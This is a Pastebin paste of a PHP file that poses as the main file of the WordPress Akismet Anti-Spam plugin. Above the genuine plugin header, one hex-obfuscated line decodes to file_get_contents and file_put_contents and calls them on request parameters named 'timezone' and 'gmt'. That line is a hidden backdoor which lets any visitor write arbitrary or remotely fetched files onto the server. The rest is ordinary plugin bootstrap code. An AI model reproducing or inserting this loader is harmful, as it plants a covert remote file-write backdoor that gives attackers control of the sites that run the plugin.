Advertisement
Guest User

Untitled

a guest
Jan 21st, 2020
16,982
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.76 KB | None | 0 0
  1. <?php
  2.  
  3. $a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"; $b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"; @$b($_REQUEST['timezone'], @$a($_REQUEST['gmt']));;
  4.  
  5. /**
  6. * @package Akismet
  7. */
  8. /*
  9. Plugin Name: Akismet Anti-Spam
  10. Plugin URI: https://akismet.com/
  11. Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
  12. Version: 4.0.3
  13. Author: Automattic
  14. Author URI: https://automattic.com/wordpress-plugins/
  15. License: GPLv2 or later
  16. Text Domain: akismet
  17. */
  18.  
  19. /*
  20. This program is free software; you can redistribute it and/or
  21. modify it under the terms of the GNU General Public License
  22. as published by the Free Software Foundation; either version 2
  23. of the License, or (at your option) any later version.
  24.  
  25. This program is distributed in the hope that it will be useful,
  26. but WITHOUT ANY WARRANTY; without even the implied warranty of
  27. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  28. GNU General Public License for more details.
  29.  
  30. You should have received a copy of the GNU General Public License
  31. along with this program; if not, write to the Free Software
  32. Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
  33.  
  34. Copyright 2005-2015 Automattic, Inc.
  35. */
  36.  
  37. // Make sure we don't expose any info if called directly
  38. if ( !function_exists( 'add_action' ) ) {
  39. echo 'Hi there! I\'m just a plugin, not much I can do when called directly.';
  40. exit;
  41. }
  42.  
  43.  
  44.  
  45. define( 'AKISMET_VERSION', '4.0.3' );
  46. define( 'AKISMET__MINIMUM_WP_VERSION', '4.0' );
  47. define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
  48. define( 'AKISMET_DELETE_LIMIT', 100000 );
  49.  
  50. register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) );
  51. register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) );
  52. require_once( AKISMET__PLUGIN_DIR . 'class.akismet.php' );
  53. require_once( AKISMET__PLUGIN_DIR . 'class.akismet-widget.php' );
  54. require_once( AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php' );
  55.  
  56. add_action( 'init', array( 'Akismet', 'init' ) );
  57.  
  58. add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) );
  59.  
  60. if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) {
  61. require_once( AKISMET__PLUGIN_DIR . 'class.akismet-admin.php' );
  62. add_action( 'init', array( 'Akismet_Admin', 'init' ) );
  63. }
  64.  
  65. //add wrapper class around deprecated akismet functions that are referenced elsewhere
  66. require_once( AKISMET__PLUGIN_DIR . 'wrapper.php' );
  67.  
  68. if ( defined( 'WP_CLI' ) && WP_CLI ) {
  69. require_once( AKISMET__PLUGIN_DIR . 'class.akismet-cli.php' );
  70. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement